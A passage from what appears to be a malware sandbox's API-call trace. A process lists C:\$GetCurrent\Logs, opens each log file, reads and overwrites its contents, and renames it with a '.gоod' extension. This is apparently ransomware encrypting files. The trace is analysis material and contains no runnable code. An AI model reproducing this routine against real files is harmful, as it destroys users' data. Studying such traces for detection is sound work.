nFileSizeLow=0x2000)) returned 1 [0068.604] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fd800) returned 1 [0068.604] GetFullPathNameW (in: lpFileName="C:\\BOOTSECT.BAK", nBufferLength=0x105, lpBuffer=0x10fd220, lpFilePart=0x0 | out: lpBuffer="C:\\BOOTSECT.BAK", lpFilePart=0x0) returned 0xf [0068.604] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fd740) returned 1 [0068.604] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0068.605] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa130) returned 1 [0068.676] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fd060) returned 1 [0068.676] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent", nBufferLength=0x105, lpBuffer=0x10fcb00, lpFilePart=0x0 | out: lpBuffer="C:\\$GetCurrent", lpFilePart=0x0) returned 0xe [0068.676] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x10fcd80 | out: lpFindFileData=0x10fcd80*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0068.678] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.678] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0068.678] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0068.678] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0068.679] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0068.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcfa0) returned 1 [0068.679] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcf60) returned 1 [0068.679] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fd060) returned 1 [0068.679] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent", nBufferLength=0x105, lpBuffer=0x10fcb00, lpFilePart=0x0 | out: lpBuffer="C:\\$GetCurrent", lpFilePart=0x0) returned 0xe [0068.680] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x10fcd80 | out: lpFindFileData=0x10fcd80*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51fc0 [0068.680] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.680] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0068.680] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0068.680] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0068.680] FindClose (in: hFindFile=0x1ec51fc0 | out: hFindFile=0x1ec51fc0) returned 1 [0068.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcfa0) returned 1 [0068.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fcf60) returned 1 [0068.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc630) returned 1 [0068.681] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\Logs", nBufferLength=0x105, lpBuffer=0x10fc0d0, lpFilePart=0x0 | out: lpBuffer="C:\\$GetCurrent\\Logs", lpFilePart=0x0) returned 0x13 [0068.681] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x10fc350 | out: lpFindFileData=0x10fc350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51fc0 [0068.683] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.683] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0068.683] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0068.683] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1 [0068.683] FindNextFileW (in: hFindFile=0x1ec51fc0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0068.684] FindClose (in: hFindFile=0x1ec51fc0 | out: hFindFile=0x1ec51fc0) returned 1 [0068.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc570) returned 1 [0068.684] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc530) returned 1 [0068.684] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc630) returned 1 [0068.684] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\Logs", nBufferLength=0x105, lpBuffer=0x10fc0d0, lpFilePart=0x0 | out: lpBuffer="C:\\$GetCurrent\\Logs", lpFilePart=0x0) returned 0x13 [0068.684] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x10fc350 | out: lpFindFileData=0x10fc350*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51de0 [0068.685] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.685] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log", cAlternateFileName="DOWNLE~1.LOG")) returned 1 [0068.686] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0068.686] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1 [0068.686] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x10fc310 | out: lpFindFileData=0x10fc310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 0 [0068.686] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0068.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc570) returned 1 [0068.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc530) returned 1 [0068.687] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log", nBufferLength=0x105, lpBuffer=0x10fbf10, lpFilePart=0x0 | out: lpBuffer="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log", lpFilePart=0x0) returned 0x39 [0068.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc3e0) returned 1 [0068.687] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), fInfoLevelId=0x0, lpFileInformation=0x31d7608 | out: lpFileInformation=0x31d7608*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0xafe5f7a, ftLastWriteTime.dwHighDateTime=0x1d3273e, nFileSizeHigh=0x0, nFileSizeLow=0xa6b2)) returned 1 [0068.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc3a0) returned 1 [0068.689] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log", nBufferLength=0x105, lpBuffer=0x10fbdc0, lpFilePart=0x0 | out: lpBuffer="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log", lpFilePart=0x0) returned 0x39 [0068.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc2e0) returned 1 [0068.689] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0068.689] GetFileType (hFile=0x6b0) returned 0x1 [0068.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc250) returned 1 [0068.689] GetFileType (hFile=0x6b0) returned 0x1 [0068.689] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x10fc438*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x10fc438*=0) returned 0x1000 [0068.689] ReadFile (in: hFile=0x6b0, lpBuffer=0x31d7a88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fc408, lpOverlapped=0x0 | out: lpBuffer=0x31d7a88*, lpNumberOfBytesRead=0x10fc408*=0x1000, lpOverlapped=0x0) returned 1 [0068.691] CloseHandle (hObject=0x6b0) returned 1 [0068.691] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log", nBufferLength=0x105, lpBuffer=0x10fbdc0, lpFilePart=0x0 | out: lpBuffer="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log", lpFilePart=0x0) returned 0x39 [0068.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc2e0) returned 1 [0068.691] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0068.691] GetFileType (hFile=0x6b0) returned 0x1 [0068.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc250) returned 1 [0068.691] GetFileType (hFile=0x6b0) returned 0x1 [0068.691] SetFilePointer (in: hFile=0x6b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x10fc438*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x10fc438*=0) returned 0xa6b2 [0068.692] WriteFile (in: hFile=0x6b0, lpBuffer=0x31d8d38*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x10fc328, lpOverlapped=0x0 | out: lpBuffer=0x31d8d38*, lpNumberOfBytesWritten=0x10fc328*=0x10, lpOverlapped=0x0) returned 1 [0068.692] CloseHandle (hObject=0x6b0) returned 1 [0068.696] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log", nBufferLength=0x105, lpBuffer=0x10fbdc0, lpFilePart=0x0 | out: lpBuffer="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log", lpFilePart=0x0) returned 0x39 [0068.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc2e0) returned 1 [0068.696] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0068.697] GetFileType (hFile=0x6b0) returned 0x1 [0068.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc250) returned 1 [0068.697] GetFileType (hFile=0x6b0) returned 0x1 [0068.697] ReadFile (in: hFile=0x6b0, lpBuffer=0x31db010, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fc3b8, lpOverlapped=0x0 | out: lpBuffer=0x31db010*, lpNumberOfBytesRead=0x10fc3b8*=0x1000, lpOverlapped=0x0) returned 1 [0068.896] CloseHandle (hObject=0x6b0) returned 1 [0068.896] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log", nBufferLength=0x105, lpBuffer=0x10fbdc0, lpFilePart=0x0 | out: lpBuffer="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log", lpFilePart=0x0) returned 0x39 [0068.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc2e0) returned 1 [0068.896] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0068.896] GetFileType (hFile=0x6b0) returned 0x1 [0068.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc250) returned 1 [0068.897] GetFileType (hFile=0x6b0) returned 0x1 [0068.897] WriteFile (in: hFile=0x6b0, lpBuffer=0x30319e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x10fc468, lpOverlapped=0x0 | out: lpBuffer=0x30319e0*, lpNumberOfBytesWritten=0x10fc468*=0x1010, lpOverlapped=0x0) returned 1 [0068.897] CloseHandle (hObject=0x6b0) returned 1 [0068.899] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log", nBufferLength=0x105, lpBuffer=0x10fbf10, lpFilePart=0x0 | out: lpBuffer="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log", lpFilePart=0x0) returned 0x39 [0068.899] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.gоod", nBufferLength=0x105, lpBuffer=0x10fbf10, lpFilePart=0x0 | out: lpBuffer="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.gоod", lpFilePart=0x0) returned 0x3e [0068.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc3a0) returned 1 [0068.899] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), fInfoLevelId=0x0, lpFileInformation=0x10fc480 | out: lpFileInformation=0x10fc480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x542c8aac, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x2548d1da, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa6c2)) returned 1 [0068.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc360) returned 1 [0068.899] MoveFileW (lpExistingFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log"), lpNewFileName="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log.gоod" (normalized: "c:\\$getcurrent\\logs\\downlevel_2017_09_07_02_02_39_766.log.gоod")) returned 1 [0068.900] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log", nBufferLength=0x105, lpBuffer=0x10fbf10, lpFilePart=0x0 | out: lpBuffer="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log", lpFilePart=0x0) returned 0x34 [0068.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc3e0) returned 1 [0068.900] GetFileAttributesExW (in: lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), fInfoLevelId=0x0, lpFileInformation=0x313f698 | out: lpFileInformation=0x313f698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774)) returned 1 [0069.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc3a0) returned 1 [0069.213] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log", nBufferLength=0x105, lpBuffer=0x10fbdc0, lpFilePart=0x0 | out: lpBuffer="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log", lpFilePart=0x0) returned 0x34 [0069.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fc2e0) returned 1 [0069.213] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0069.214] GetFileType (hFile=0x6b4) returned 0x1 [0069.214] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fc250) returned 1 [0069.214] GetFileType (hFile=0x6b4) returned 0x1 [0069.214] SetFilePointer (in: hFile=0x6b4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x10fc438*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x10fc438*=0) returned 0x1000 [0069.214] ReadFile (in: hFile=0x6b4, lpBuffer=0x324a3d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10fc408, lpOverlapped=0x0 | out: lpBuffer=0x324a3d0*, lpNumberOfBytesRead=0x10fc408*=0x774, lpOverlapped=0x0) returned 1 [0069.215] CloseHandle (hObject=0x6b4) returned 1 [0069.215] GetFullPathNameW (in: lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log", nBufferLength=0x105, lpBuffer=0x10fbdc0, lpFilePart=0x0 | out: 